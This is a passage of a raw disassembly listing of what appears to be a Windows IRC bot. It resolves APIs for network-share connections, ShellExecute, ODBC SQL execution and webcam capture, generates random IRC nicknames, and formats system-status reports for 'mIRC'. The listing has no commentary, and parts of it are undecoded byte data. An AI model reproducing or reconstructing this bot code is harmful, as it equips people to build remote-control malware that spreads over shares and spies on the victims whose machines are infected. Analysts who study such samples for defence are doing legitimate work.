"WNetAddConnection2W" push edi mov dword_4CBA7C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CBA74, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CBA3C, eax call esi cmp dword_4CBA7C, ebx mov dword_4CB90C, eax jz short loc_40A481 cmp dword_4CBA74, ebx jz short loc_40A481 cmp dword_4CBA3C, ebx jz short loc_40A481 cmp eax, ebx jnz short loc_40A48B jmp short loc_40A481 ; --------------------------------------------------------------------------- loc_40A476: ; CODE XREF: sub_409909+B19j call near ptr 269086Bh nop mov dword_4CBAE8, eax loc_40A481: ; CODE XREF: sub_409909+B55j ; sub_409909+B5Dj ... mov dword_4CBAE4, 1 loc_40A48B: ; CODE XREF: sub_409909+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4C0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB940, eax call esi cmp dword_4CB940, ebx mov dword_4CBA48, eax jz short loc_40A4CB cmp eax, ebx jnz short loc_40A4D5 jmp short loc_40A4CB ; --------------------------------------------------------------------------- loc_40A4C0: ; CODE XREF: sub_409909+B8Dj nop call near ptr 269086Bh mov dword_4CBAF0, eax loc_40A4CB: ; CODE XREF: sub_409909+BAFj ; sub_409909+BB5j mov dword_4CBAEC, 1 loc_40A4D5: ; CODE XREF: sub_409909+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A55E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CBA10, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CBA5C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB998, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB950, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB9F0, eax call esi cmp dword_4CBA10, ebx mov dword_4CB960, eax jz short loc_40A569 cmp dword_4CBA5C, ebx jz short loc_40A569 cmp dword_4CB998, ebx jz short loc_40A569 cmp dword_4CB950, ebx jz short loc_40A569 cmp dword_4CB9F0, ebx jz short loc_40A569 cmp eax, ebx jnz short loc_40A573 jmp short loc_40A569 ; --------------------------------------------------------------------------- loc_40A55E: ; CODE XREF: sub_409909+BD7j nop call near ptr 269086Bh mov dword_4CBAF8, eax loc_40A569: ; CODE XREF: sub_409909+C2Dj ; sub_409909+C35j ... mov dword_4CBAF4, 1 loc_40A573: ; CODE XREF: sub_409909+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5A8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB924, eax call esi cmp dword_4CB924, ebx mov dword_4CBA04, eax jz short loc_40A5B3 cmp eax, ebx jnz short loc_40A5BD jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5A8: ; CODE XREF: sub_409909+C75j nop call near ptr 269086Bh mov dword_4CBB00, eax loc_40A5B3: ; CODE XREF: sub_409909+C97j ; sub_409909+C9Dj mov dword_4CBAFC, 1 loc_40A5BD: ; CODE XREF: sub_409909+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CBA94, esi push edi mov edi, [ebp+arg_8] jz short loc_40A60D push dword_4CBA98 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj cmp dword_4CBA9C, esi jz short loc_40A641 push dword_4CBAA0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A641: ; CODE XREF: sub_40A5C5+4Ej cmp dword_4CBAA4, esi jz short loc_40A675 push dword_4CBAA8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A675: ; CODE XREF: sub_40A5C5+82j cmp dword_4CBAAC, esi jz short loc_40A6A9 push dword_4CBAB0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j cmp dword_4CBAB4, esi jz short loc_40A6DD push dword_4CBAB8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj cmp dword_4CBABC, esi jz short loc_40A711 push dword_4CBAC0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A711: ; CODE XREF: sub_40A5C5+11Ej cmp dword_4CBAC4, esi jz short loc_40A745 push dword_4CBAC8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A745: ; CODE XREF: sub_40A5C5+152j cmp dword_4CBACC, esi jz short loc_40A779 push dword_4CBAD0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A779: ; CODE XREF: sub_40A5C5+186j cmp dword_4CBAD4, esi jz short loc_40A7AD push dword_4CBAD8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj cmp dword_4CBADC, esi jz short loc_40A7E1 push dword_4CBAE0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj cmp dword_4CBAE4, esi jz short loc_40A815 push dword_4CBAE8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A815: ; CODE XREF: sub_40A5C5+222j cmp dword_4CBAEC, esi jz short loc_40A849 push dword_4CBAF0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A849: ; CODE XREF: sub_40A5C5+256j cmp dword_4CBAF4, esi jz short loc_40A87D push dword_4CBAF8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj cmp dword_4CBAFC, esi jz short loc_40A8B1 push dword_4CBB00 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax loc_40A897: ; DATA XREF: ___:0043320Co ; ___:00433250o ... call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj lea eax, [ebp+var_200] push offset unk_42D6C4 push eax call sub_41C266 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8DE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 14h loc_40A8DE: ; CODE XREF: sub_40A5C5+302j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx pop edi pop esi pop ebx leave retn sub_40A5C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5BC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA14 cmp eax, 0FFFFFFFFh jnz short locret_40A918 push [esp+arg_0] call dword_4CBA58 test eax, eax jnz short loc_40A911 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A911: ; CODE XREF: sub_40A8F0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A918: ; CODE XREF: sub_40A8F0+Dj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB8F0 xor eax, eax test ecx, ecx jz short locret_40A927 call ecx locret_40A927: ; CODE XREF: sub_40A919+Aj retn sub_40A919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CBA50 mov ecx, eax sub ecx, edi jz loc_40A9EE sub ecx, 32h jz loc_40A9E7 sub ecx, 48h jz short loc_40A988 sub ecx, 6Eh jz short loc_40A981 loc_40A96A: ; CODE XREF: sub_40A928+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8D8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40A9C8 ; --------------------------------------------------------------------------- loc_40A981: ; CODE XREF: sub_40A928+40j push offset unk_42D8B4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A988: ; CODE XREF: sub_40A928+3Bj push [ebp+var_8] call sub_41BEB5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BF70 add esp, 10h cmp esi, edi jz short loc_40A9B5 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CBA50 cmp eax, edi jz short loc_40A9EE jmp short loc_40A96A ; --------------------------------------------------------------------------- loc_40A9B5: ; CODE XREF: sub_40A928+79j push offset unk_42D884 loc_40A9BA: ; CODE XREF: sub_40A928+5Ej ; sub_40A928+C4j lea eax, [ebp+var_88] push eax call sub_41C266 pop ecx pop ecx loc_40A9C8: ; CODE XREF: sub_40A928+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415D38 pop ecx loc_40A9D8: ; CODE XREF: sub_40A928+C8j ; sub_40A928+DCj push esi call sub_41BA91 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9E7: ; CODE XREF: sub_40A928+32j push offset unk_42D854 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9EE: ; CODE XREF: sub_40A928+29j ; sub_40A928+89j cmp [esi], edi jbe short loc_40A9D8 lea ebx, [esi+4] loc_40A9F5: ; CODE XREF: sub_40A928+DAj push ebx call dword_4CBA4C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9F5 jmp short loc_40A9D8 sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp ; sub_401ACD+233Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB978 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CBB04 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C266 add esp, 18h mov eax, esi pop esi leave retn sub_40AA06 endp ; =============== S U B R O U T I N E ======================================= sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp ; sub_413694+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA88 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA7B: ; CODE XREF: sub_40AA5F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA7B pop edi jmp short loc_40AA8C ; --------------------------------------------------------------------------- loc_40AA88: ; CODE XREF: sub_40AA5F+Aj mov edx, [esp+4+arg_0] loc_40AA8C: ; CODE XREF: sub_40AA5F+27j test esi, esi pop esi jz short loc_40AA96 movzx ecx, byte ptr [edx] add eax, ecx loc_40AA96: ; CODE XREF: sub_40AA5F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA5F endp ; =============== S U B R O U T I N E ======================================= sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p ; DATA XREF: ___:off_42D920o arg_0 = dword ptr 4 push esi push edi call near ptr 26A07AFh nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D99C[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB14 loc_40AAEE: ; CODE XREF: sub_40AAAC+66j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AAEE loc_40AB14: ; CODE XREF: sub_40AAAC+40j mov eax, edi pop edi pop esi retn sub_40AAAC endp ; --------------------------------------------------------------------------- db 56h, 57h, 0E8h dd 2295C8Fh, 91E85090h, 8B000117h, 0C710247Ch, 91382404h dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h, 10C483F6h dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h dd 429098h, 0C78BDA7Ch ; --------------------------------------------------------------------------- pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26A07AFh push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ABBA loc_40ABA4: ; CODE XREF: sub_40AB77+41j call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ABA4 loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26A07AFh push eax call sub_41C2B8 pop ecx lea eax, [ebp-8] mov esi, offset byte_4315F4 push eax push esi call near ptr 26D0000h nop movsx eax, byte_4315F4 push 41h pop ecx push 1 pop edx loc_40AC00: ; CODE XREF: ___:0040AC0Bj cmp eax, ecx jnz short loc_40AC07 mov [ebp-4], edx loc_40AC07: ; CODE XREF: ___:0040AC02j inc ecx cmp ecx, 5Bh jl short loc_40AC00 push 61h pop ecx loc_40AC10: ; CODE XREF: ___:0040AC1Bj cmp eax, ecx jnz short loc_40AC17 mov [ebp-4], edx loc_40AC17: ; CODE XREF: ___:0040AC12j inc ecx cmp ecx, 7Bh jl short loc_40AC10 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C360 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AC5C loc_40AC36: ; CODE XREF: ___:0040AC5Aj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC36 loc_40AC5C: ; CODE XREF: ___:0040AC34j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26A07AFh push eax call sub_41C2B8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4315F8 push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD1 loc_40ACAB: ; CODE XREF: ___:0040ACCFj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAB loc_40ACD1: ; CODE XREF: ___:0040ACA9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43DB88 mov dword ptr [ebp-94h], 94h nop call near ptr 26F0000h nop call near ptr 26A07AFh push eax call sub_41C2B8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD5B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD3B cmp dword ptr [ebp-84h], 1 jnz short loc_40AD2B mov esi, offset dword_431620 loc_40AD2B: ; CODE XREF: ___:0040AD24j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD97 mov esi, offset dword_43161C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD3B: ; CODE XREF: ___:0040AD1Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD4B mov esi, offset dword_431618 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD4B: ; CODE XREF: ___:0040AD42j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD92 mov esi, offset dword_431614 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD5B: ; CODE XREF: ___:0040AD12j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD92 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD74 mov esi, offset dword_431610 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: ___:0040AD6Bj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD84 mov esi, offset dword_43160C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: ___:0040AD7Bj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431608 jz short loc_40AD97 loc_40AD92: ; CODE XREF: ___:0040AD52j ; ___:0040AD62j mov esi, offset dword_431604 loc_40AD97: ; CODE XREF: ___:0040AD32j ; ___:0040AD39j ... mov edi, [ebp+8] push esi push offset dword_4315FC push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ADDB loc_40ADB5: ; CODE XREF: ___:0040ADD9j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ADB5 loc_40ADDB: ; CODE XREF: ___:0040ADB3j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26A07AFh xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE30 call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE19 mov eax, offset byte_43DB88 loc_40AE19: ; CODE XREF: sub_40ADE1+31j push eax push esi push offset dword_431624 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C360 add esp, 14h jmp short loc_40AE50 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_40ADE1+22j call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE44 mov eax, offset byte_43DB88 loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C266 pop ecx pop ecx loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj lea eax, [ebp+var_1C] push eax call sub_41B9C0 pop ecx cmp eax, 2 pop esi jbe short loc_40AE7F push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41CBC0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BFD0 add esp, 18h loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D91C loc_40AE90: ; CODE XREF: sub_40AE84+3Fj cmp [ebp+arg_C], 0 jz short loc_40AEAB lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41CA50 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEB5 ; --------------------------------------------------------------------------- loc_40AEAB: ; CODE XREF: sub_40AE84+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEB5: ; CODE XREF: sub_40AE84+25j test eax, eax jnz short loc_40AEC7 add esi, 14h inc edi cmp esi, offset off_42D9A8 jb short loc_40AE90 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AEC7: ; CODE XREF: sub_40AE84+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D920[eax*4] pop ecx loc_40AED5: ; CODE XREF: sub_40AE84+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEE8 push [ebp+arg_0] call sub_40ADE1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEE8: ; CODE XREF: sub_40AE84+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43DB88 mov dword ptr [ebp-0B8h], 94h nop call near ptr 26F0000h cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF67 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF48 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF38 mov edi, offset dword_431620 loc_40AF38: ; CODE XREF: ___:0040AF31j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AFA3 mov edi, offset dword_43161C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF48: ; CODE XREF: ___:0040AF28j cmp [ebp-0B0h], ebx jnz short loc_40AF57 mov edi, offset dword_431618 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF57: ; CODE XREF: ___:0040AF4Ej cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF9E mov edi, offset dword_431614 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: ___:0040AF1Fj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF9E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF80 mov edi, offset dword_431610 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF80: ; CODE XREF: ___:0040AF77j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF90 mov edi, offset dword_43160C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: ___:0040AF87j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431684 jz short loc_40AFA3 loc_40AF9E: ; CODE XREF: ___:0040AF5Ej ; ___:0040AF6Ej mov edi, offset dword_431680 loc_40AFA3: ; CODE XREF: ___:0040AF3Fj ; ___:0040AF46j ... lea eax, [ebp-0A4h] push offset word_4CB88C push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40AFC1 mov esi, offset dword_43167C jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: ___:0040AFB8j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFDF mov esi, offset sub_431678 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: ___:0040AFD6j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFFD mov esi, offset dword_431670 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: ___:0040AFF4j lea eax, [ebp-0A4h] push offset dword_43166C push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40B01B mov esi, offset dword_431668 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40B01B: ; CODE XREF: ___:0040B012j lea eax, [ebp-0A4h] push offset dword_431664 push eax call sub_41C2E0 pop ecx mov esi, offset dword_431660 test eax, eax pop ecx jnz short loc_40B03C mov esi, offset off_43165C loc_40B03C: ; CODE XREF: ___:0040AFBFj ; ___:0040AFDDj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41ADD8 pop ecx push eax call sub_41CCE3 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B086 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C360 add esp, 10h jmp short loc_40B0AA ; --------------------------------------------------------------------------- loc_40B086: ; CODE XREF: ___:0040B06Fj cmp eax, 64h jge short loc_40B098 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_42635C jmp short loc_40B0A7 ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: ___:0040B089j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C360 loc_40B0A7: ; CODE XREF: ___:0040B096j add esp, 0Ch loc_40B0AA: ; CODE XREF: ___:0040B084j call near ptr 26A07AFh nop push eax call sub_41C2B8 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h nop call near ptr 26E0000h lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 1Ch cmp dword_429098, esi jle short loc_40B115 loc_40B0F0: ; CODE XREF: ___:0040B113j call sub_41C2C2 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40B0F0 loc_40B115: ; CODE XREF: ___:0040B0EEj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap ; sub_40B214+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B9C0 push [esp+8+arg_4] mov esi, eax call sub_41B9C0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B11C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B13C proc near ; CODE XREF: sub_40B22B+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B11C cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B159 xor eax, 